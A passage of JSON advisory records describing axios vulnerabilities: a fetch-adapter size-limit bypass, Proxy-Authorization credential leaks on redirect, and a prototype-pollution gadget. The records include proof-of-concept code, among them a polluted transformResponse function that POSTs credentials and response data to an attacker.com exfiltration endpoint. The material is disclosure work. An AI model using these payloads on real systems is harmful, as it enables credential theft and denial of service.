enforcement\n- fallback checks for environments without `ReadableStream`\n- regression tests in `tests/unit/adapters/fetch.test.js`\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n  let received = 0;\n\n  req.on('data', chunk =\u003e {\n    received += chunk.length;\n  });\n\n  req.on('end', () =\u003e {\n    res.end(JSON.stringify({ received }));\n  });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, resolve));\nconst url = `http://127.0.0.1:${server.address().port}/`;\n\nawait axios.post(url, 'A'.repeat(2 * 1024 * 1024), {\n  adapter: 'fetch',\n  maxBodyLength: 1024\n});\n\n// Vulnerable versions succeed and the server receives 2097152 bytes.\n// Fixed versions reject with ERR_BAD_REQUEST.\n\nserver.close();\n```\n\n## Workarounds\n\nUse the Node.js `http` adapter for server-side requests where finite size limits are security-relevant.\n\nValidate or cap attacker-controlled request bodies before passing them to axios.\n\nReject or strictly allowlist attacker-controlled URL schemes, especially `data:` URLs, before calling axios.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\nWhen Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.\n\n### Details\nmaxBodyLength and maxContentLength are not applied in the fetch adapter flow:\n  - lib/adapters/fetch.js (146-160): config destructuring does not include these controls.\n  - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.\n  - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.\nBy contrast, the HTTP adapter enforces both limits.\n\n### PoC\n  Environment:\n  - Axios main at commit f7a4ee2\n  - Node v24.2.0\n\nSteps:\n  1. Start an HTTP server that counts received bytes and echoes {received}.\n  2. Send 2 MiB with:\n      - adapter: 'fetch'\n      - maxBodyLength: 1024\n  3. Request a 4 KiB data: URL with:\n      - adapter: 'fetch'\n      - maxContentLength: 16\n\nExpected secure behavior: both requests rejected.\n Observed:\n  - Upload: success, server received 2097152\n  - data: response: success, length 4096\n\n### Impact\nType: DoS / resource exhaustion due to limit bypass.\nImpacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-04T14:21:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf","https://github.com/axios/axios/pull/10795","https://github.com/axios/axios/pull/10796","https://github.com/axios/axios/releases/tag/v1.16.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44488","https://github.com/advisories/GHSA-777c-7fjr-54vf"],"source_kind":"github","identifiers":["GHSA-777c-7fjr-54vf","CVE-2026-44488"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T15:00:08.574Z","updated_at":"2026-08-28T13:01:52.153Z","epss_percentage":0.00669,"epss_percentile":0.49181,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NzdjLTdmanItNTR2Zs4ABYCn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NzdjLTdmanItNTR2Zs4ABYCn","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.7.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NzdjLTdmanItNTR2Zs4ABYCn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wOTJxLTl2cXItNGo4ds4ABYCm","url":"https://github.com/advisories/GHSA-p92q-9vqr-4j8v","title":"Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter","description":"## Summary\n\nAxios’s Node.js HTTP adapter may forward a `Proxy-Authorization` header to a redirected origin during specific proxy-to-direct redirect flows.\n\nThis affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.\n\n## Impact\n\nA malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.\n\nThe leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.\n\nThe practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.\n\n## Affected Functionality\n\nAffected functionality requires all of the following:\n\n- Axios running in Node.js with the HTTP adapter.\n- An initial `http://` request using an authenticated proxy from `config.proxy` or proxy environment variables.\n- Redirect following enabled.\n- A redirect target for which no proxy applies, such as no matching `HTTPS_PROXY` or a matching `NO_PROXY`.\n- A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.\n\nUnaffected functionality includes browser adapters, requests with `maxRedirects: 0`, requests without proxy credentials, and redirect flows where the redirect layer strips `Proxy-Authorization` before axios reconfigures the redirected request.\n\n## Technical Details\n\nIn affected versions, `lib/adapters/http.js` adds `Proxy-Authorization` in `setProxy()` when a proxy with credentials is used.\n\nAxios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, `setProxy()` did not clear a `Proxy-Authorization` header inherited from the previous request options. If `follow-redirects` did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.\n\nThe `1.x` fix in commit `afca61a` changes `setProxy(options, configProxy, location, isRedirect)` so redirect re-invocation removes every case variant of `Proxy-Authorization` before applying proxy settings for the next hop. Regression tests in `tests/unit/adapters/http.test.js` cover no-proxy redirects, `NO_PROXY`, different proxy targets, casing variants, and an end-to-end redirect flow.\n\nThe `0.x` fixed release `0.32.0` includes a backport-style `removeProxyAuthorization()` guard in `lib/adapters/http.js`.\n\n## Proof of Concept of Attack\n\nSafe local outline using dummy credentials:\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\n// The local HTTP proxy receives this request and returns:\n// HTTP/1.1 302 Found\n// Location: https://attacker.test/final\nawait axios.get('http://attacker.test/start');\n```\n\nExpected vulnerable behaviour:\n\n```text\nProxy receives initial request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n\nFinal HTTPS origin receives redirected request:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected fixed behaviour:\n\n```text\nFinal HTTPS origin receives no Proxy-Authorization header.\n```\n\n## Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually, ensuring `Proxy-Authorization` is not copied to requests that are not sent through the proxy.\n\nAvoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.\n\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\n\nAxios’s Node.js `http` adapter can incorrectly forward a retained `Proxy-Authorization` header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.\n\nWhen an initial HTTP request is sent through an authenticated `HTTP_PROXY`, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale `Proxy-Authorization` header and forwards it to the final origin.\n\n### Details\n\nThe issue occurs during a proxy-to-direct transition across redirects.\n\nWhen Axios sends an initial HTTP request through an authenticated `HTTP_PROXY`, it correctly includes `Proxy-Authorization` for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.\n\nIn the affected flow, the final HTTPS origin receives a `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nWhether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent.\n\n#### Root Cause Analysis\n\nBased on code review, Axios appears to create the stale header condition in its Node.js `http` adapter.\n\nIn lib/adapters/http.js:\n- When a proxy is used, Axios adds `Proxy-Authorization` in setProxy().\n- Axios also re-runs proxy resolution after redirects via its redirect hook.\n- However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.\n\nAs a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.\n\nA dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained `Proxy-Authorization` header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.\n\n#### Client Conditions\n- the initial HTTP request uses an authenticated `HTTP_PROXY`\n- no proxy applies to the redirected HTTPS URL (for example, no `HTTPS_PROXY` is configured)\n- redirects are followed\n- the redirect is treated as same-host by the redirect layer\n\nUnder that redirect shape, the retained `Proxy-Authorization` header is not removed before the redirected request is sent to the final HTTPS origin.\n\n### Reproduction Outline\n\nDetailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.\n\nThe issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.\n\nThe issue was confirmed under the following conditions:\n\n- axios 1.13.6\n- follow-redirects 1.15.11\n- an authenticated proxy applying to the initial HTTP request\n- no proxy applying to the redirected HTTPS URL\n- redirects enabled\n- an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer\n\n#### Observed behavior\n\n- The initial HTTP request is sent through the proxy and includes `Proxy-Authorization`.\n- The redirected HTTPS request is sent directly to the final origin.\n- The redirected HTTPS request still includes the previously generated `Proxy-Authorization` header.\n- The final origin can receive a `Proxy-Authorization` header value that was intended only for the proxy.\n\n#### Expected behavior\n\nAxios should not send the `Proxy-Authorization` header on a redirected request that is no longer sent through a proxy.\n\n### Impact\n\nUnder the affected redirect and proxy configuration, the final HTTPS origin may receive a retained `Proxy-Authorization` header value that was intended only for the outbound proxy.\n\nIf that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-04T14:19:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v","https://github.com/axios/axios/releases/tag/v0.32.0","https://github.com/axios/axios/releases/tag/v1.16.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44487","https://github.com/advisories/GHSA-p92q-9vqr-4j8v"],"source_kind":"github","identifiers":["GHSA-p92q-9vqr-4j8v","CVE-2026-44487"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T15:00:08.574Z","updated_at":"2026-08-29T17:01:39.701Z","epss_percentage":0.00664,"epss_percentile":0.48847,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOTJxLTl2cXItNGo4ds4ABYCm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wOTJxLTl2cXItNGo4ds4ABYCm","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"},{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wOTJxLTl2cXItNGo4ds4ABYCm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNWY4LWdybTktcDlmY84ABYCl","url":"https://github.com/advisories/GHSA-j5f8-grm9-p9fc","title":"Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection","description":"### Summary\n\nAxios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a `Proxy-Authorization` header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale `Proxy-Authorization` header can remain on the redirected request and be sent to the redirect target.\n\nThis affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.\n\n### Impact\n\nAn attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.\n\nThe most relevant case is a Node.js application using an authenticated `HTTP_PROXY` for an initial `http://` request, with redirects enabled, where the redirect target resolves to no proxy, such as an `https://` URL when `HTTPS_PROXY` is unset.\n\nThis does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with `maxRedirects: 0`.\n\n### Affected Functionality\n\nAffected functionality is limited to the Node.js HTTP adapter in `lib/adapters/http.js`.\n\nRelevant inputs and settings include:\n\n- `HTTP_PROXY`, `HTTPS_PROXY`, and `NO_PROXY`.\n- Authenticated proxy URLs such as `http://user:pass@proxy.example:8080`.\n- Automatic redirect following through `follow-redirects`.\n- Axios proxy handling in `setProxy()`.\n- Redirect proxy handling through `beforeRedirects.proxy`.\n\n### Technical Details\n\nIn affected v1 releases, `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is selected, but redirect handling calls `setProxy()` again without first clearing any existing proxy authorization header.\n\nIf the redirected URL resolves to no proxy, `setProxy()` does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale `Proxy-Authorization` header to the final origin.\n\nThe v1 fix in `afca61a` adds an `isRedirect` path that deletes any case variant of `Proxy-Authorization` before proxy settings are re-applied on redirect. The v0 backport in `2af6116` fixed the 0.x line for `0.32.0`.\n\n### Proof of Concept of Attack\n\n```js\nprocess.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';\ndelete process.env.HTTPS_PROXY;\n\nawait axios.get('http://attacker.example/start');\n```\n\nAttacker-controlled HTTP endpoint:\n\n```http\nHTTP/1.1 302 Found\nLocation: https://attacker.example/final\n```\n\nExpected result on affected versions:\n\n```text\nhttps://attacker.example/final receives:\nProxy-Authorization: Basic dXNlcjpwYXNz\n```\n\nExpected result on fixed versions:\n\n```text\nhttps://attacker.example/final receives no Proxy-Authorization header\n```\n\n### Workarounds\n\nSet `maxRedirects: 0` and handle redirects manually.\n\nAvoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.\n\nEnsure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAxios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a `Proxy-Authorization` header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale `Proxy-Authorization` header is not cleared. As a result, the redirect target can receive the proxy credential directly.\n\nThis issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses `HTTP_PROXY` with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when `HTTPS_PROXY` is unset or the redirect target is excluded by `NO_PROXY`.\n\n### Details\nIn the current implementation:\n\n- `setProxy()` adds `Proxy-Authorization` when a proxy with credentials is in use.\n- On redirects, Axios re-invokes `setProxy()` for the redirected request.\n- If the redirected URL re-evaluates to \"no proxy\", `setProxy()` does not clear the previously added `Proxy-Authorization` header.\n- The redirected request therefore reuses the stale header and sends it to the final origin.\n\nRelevant code locations:\n\n- `lib/adapters/http.js`\n- `setProxy()` adds `Proxy-Authorization`\n- redirect handling re-applies proxy logic through `beforeRedirects.proxy`\n- no cleanup is performed when the recomputed redirect request no longer uses a proxy\n\n### PoC\n1. The victim sends `GET http://\u003cattacker-site\u003e/start`\n2. The request goes through a local authenticated `corp proxy`\n3. The attacker-controlled HTTP endpoint returns `302 Location: https://\u003cattacker-site\u003e/final`\n4. The redirected HTTPS request no longer uses a proxy\n5. The attacker-controlled HTTPS endpoint receives the stale `Proxy-Authorization` header\n\nObserved output:\n\n```text\n[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz\n[attacker-http] GET /start\n[attacker-https] GET /final\n[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz\nLeak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.\n```\n\nThis demonstrates that the proxy credential is exposed to the redirect target origin.\n\n### Impact\nExposes authenticated proxy credentials to an attacker-controlled origin.\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-04T14:15:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc","https://github.com/axios/axios/pull/10794","https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b","https://github.com/axios/axios/releases/tag/v0.32.0","https://github.com/axios/axios/releases/tag/v1.16.0","https://nvd.nist.gov/vuln/detail/CVE-2026-44486","https://github.com/advisories/GHSA-j5f8-grm9-p9fc"],"source_kind":"github","identifiers":["GHSA-j5f8-grm9-p9fc","CVE-2026-44486"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-04T15:00:08.574Z","updated_at":"2026-08-29T17:01:39.702Z","epss_percentage":0.0066,"epss_percentile":0.48672,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNWY4LWdybTktcDlmY84ABYCl","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNWY4LWdybTktcDlmY84ABYCl","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.32.0","vulnerable_version_range":"\u003c= 0.31.1"},{"first_patched_version":"1.16.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.16.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNWY4LWdybTktcDlmY84ABYCl/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZzQzLTZnbWctNjZqd84ABXuw","url":"https://github.com/advisories/GHSA-3g43-6gmg-66jw","title":"axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge","description":"## Summary\n\nAxios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted `Object.prototype.transformResponse`, affected Axios versions may treat that inherited value as request configuration or as an option validator.\n\nAxios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over `Object.prototype` before Axios creates a request.\n\n## Impact\nFor ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.\n\nIf the attacker can pollute `Object.prototype.transformResponse` with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and `auth`, and can change the response data returned to application code.\n\nThis function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.\n\n## Affected Functionality\nThe affected functionality is Axios request config processing and response transformation.\n\nAffected use requires all of the following:\n- An affected Axios version.\n- A polluted `Object.prototype` in the same process or browser context.\n- Pollution before Axios merges or validates the request config.\n- A polluted key relevant to Axios config, especially `transformResponse`.\n\nThis is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.\n\n## Technical Details\nIn affected versions, `mergeConfig()` reads config values through normal property access. For config keys present in Axios defaults, including `transformResponse`, a missing own property on the request config can fall through to `Object.prototype`.\n\nIn the fully affected path, this means `Object.prototype.transformResponse` can replace Axios's default response transform. The selected transform is later executed by `transformData()` with the request config as `this`.\n\nSome later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in `validator.assertOptions()`. In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.\n\nFixed versions use own-property checks and null-prototype config objects, so inherited `Object.prototype` values are not treated as Axios config or validator schema entries.\n\n## Proof of Concept of Attack\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst seen = [];\n\nconst server = http.createServer((req, res) =\u003e {\n  res.setHeader('Content-Type', 'application/json');\n  res.end(JSON.stringify({ secret: 'response-secret' }));\n});\n\nawait new Promise(resolve =\u003e server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.transformResponse = function pollutedTransform(data, headers, status) {\n  if (headers \u0026\u0026 typeof status === 'number') {\n    seen.push({\n      url: this.url,\n      username: this.auth \u0026\u0026 this.auth.username,\n      password: this.auth \u0026\u0026 this.auth.password,\n      responseData: data\n    });\n\n    return { hijacked: true };\n  }\n\n  return true;\n};\n\ntry {\n  const { port } = server.address();\n\n  const response = await axios.get(`http://127.0.0.1:${port}/users`, {\n    auth: { username: 'svc-account', password: 'prod-secret-key-123' }\n  });\n\n  console.log(response.data); // { hijacked: true }\n  console.log(seen[0]);       // request config plus original response body\n} finally {\n  delete Object.prototype.transformResponse;\n\n  server.close();\n}\n```\n\nExpected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.\n\nExpected result on fixed versions: the polluted transform is ignored, and the original response is returned.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal source report\u003c/summary\u003e\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests.\n\nThe `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n\n## CVSS 3.1\n\n**Score: 9.4 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Credential theft occurs within the same application process |\n| Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated |\n| Integrity | Low | Response data is replaced with `true` — attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) |\n| Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request |\n\n### Relationship to GHSA-fvcv-3m26-pcqx\n\nThis vulnerability is in the same class as GHSA-fvcv-3m26-pcqx (\"Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`'s prototype chain traversal.\n\n| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |\n|---|---|---|\n| Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft |\n| Fixed by 1.15.0 header sanitization? | Yes | **No — different code path** |\n| Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) |\n| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge.\n\nThe critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.transformResponse = function(data, headers, status) {\n  // Steal credentials via this context (this = full request config)\n  if (this \u0026\u0026 this.url \u0026\u0026 typeof data === 'string') {\n    fetch('https://attacker.com/exfil', {\n      method: 'POST',\n      body: JSON.stringify({\n        url: this.url,\n        username: this.auth?.username,\n        password: this.auth?.password,\n        responseData: data,\n      })\n    });\n  }\n  return true;  // MUST return true to pass assertOptions validator check\n};\n```\n\n**Important constraint:** The polluted value must be a **function returning `true`**, not an array. If an array is used, `assertOptions()` at `validator.js:89-92` crashes with `TypeError: validator is not a function` (which is still a DoS vector). The function must return `true` because `validator.js:93` checks `result !== true`.\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer\nconst response = await axios.get('https://api.internal/users', {\n  auth: { username: 'svc-account', password: 'prod-secret-key-123!' }\n});\n```\n\n### 3. The Execution\n\nAxios's `mergeConfig()` at `mergeConfig.js:99-103` iterates config keys:\n\n```javascript\nutils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {\n  // 'transformResponse' is in config1 (defaults) → included in keys\n  const merge = mergeMap[prop];  // → defaultToConfig2\n  const configValue = merge(config1[prop], config2[prop], prop);\n  // config2['transformResponse'] traverses prototype → finds polluted function!\n});\n```\n\nThe polluted function then executes at `transformData.js:21`:\n\n```javascript\ndata = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n// fn = attacker's function, this = config (containing auth credentials)\n```\n\n### 4. The Impact\n\n```\nAttacker receives at https://attacker.com/exfil:\n\n{\n  \"url\": \"https://api.internal/users\",\n  \"username\": \"svc-account\",\n  \"password\": \"prod-secret-key-123!\",\n  \"responseData\": \"{\\\"users\\\":[{\\\"id\\\":1,\\\"role\\\":\\\"admin\\\"}]}\"\n}\n```\n\nThe response data seen by the application is `true` (the required return value), which will likely cause the application to malfunction but will not reveal the theft.\n\n### 5. DoS Variant\n\n```javascript\n// Array pollution crashes every request\nObject.prototype.transformResponse = [function(d) { return d; }];\n\nawait axios.get('https://any-url.com');\n// → TypeError: validator is not a function\n// Every request in the application crashes\n```\n\n## Verified PoC Output\n\n```\nStep 1 - Normal behavior (before pollution):  \n    Default transformResponse function name: \"transformResponse\"\n\nStep 2 - Polluting Object.prototype.transformResponse:  \n    Function replaced by attacker: true\n\nStep 3 - Simulating dispatchRequest transformResponse:  \n    Original server response: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"}  \n    After malicious transform: true  \n    Response tampered: true\n\nStep 4 - Exfiltrated data:  \n    Original response data: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"}  \n    Request URL: https://internal-api.corp/secrets  \n    Authentication info: {\"username\":\"admin\",\"password\":\"P@ssw0rd123!\"}\n```\n\n## Impact Analysis\n\n- **Credential Theft:** `this.auth.username`, `this.auth.password`, `this.headers.Authorization`, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.\n- **Response Data Exfiltration:** The original server response (`data` parameter) is available to the injected function before being replaced.\n- **Universal Scope:** Affects **every** axios request in the application, including all third-party libraries that use axios.\n- **Denial of Service:** Polluting with a non-function value crashes every request.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.\n\n### Limitations (Honest Assessment)\n\n- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree\n- Response data cannot be arbitrarily tampered — the function must return `true` to pass `assertOptions`\n- This is in-process JavaScript function execution, not OS-level RCE\n\n## Recommended Fix\n\nUse `hasOwnProperty` checks in `defaultToConfig2` to prevent prototype chain traversal:\n\n```javascript\n// In lib/core/mergeConfig.js\nfunction defaultToConfig2(a, b, prop) {\n  if (Object.prototype.hasOwnProperty.call(config2, prop) \u0026\u0026 !utils.isUndefined(b)) {\n    return getMergedValue(undefined, b);\n  } else if (!utils.isUndefined(a)) {\n    return getMergedValue(undefined, a);\n  }\n}\n```\n\nAdditionally, validate that `transformResponse` contains only functions before execution:\n\n```javascript\n// In lib/core/transformData.js\nutils.forEach(fns, function transform(fn) {\n  if (typeof fn !== 'function') {\n    throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);\n  }\n  data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n});\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n- [Snyk: Prototype Pollution](https://learn.snyk.io/lesson/prototype-pollution/)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |\n| 2026-04-16 | PoC corrected (function payload returning true — works) |\n| 2026-04-16 | Report revised with accurate constraints |\n| TBD | Report submitted to vendor via GitHub Security Advisory 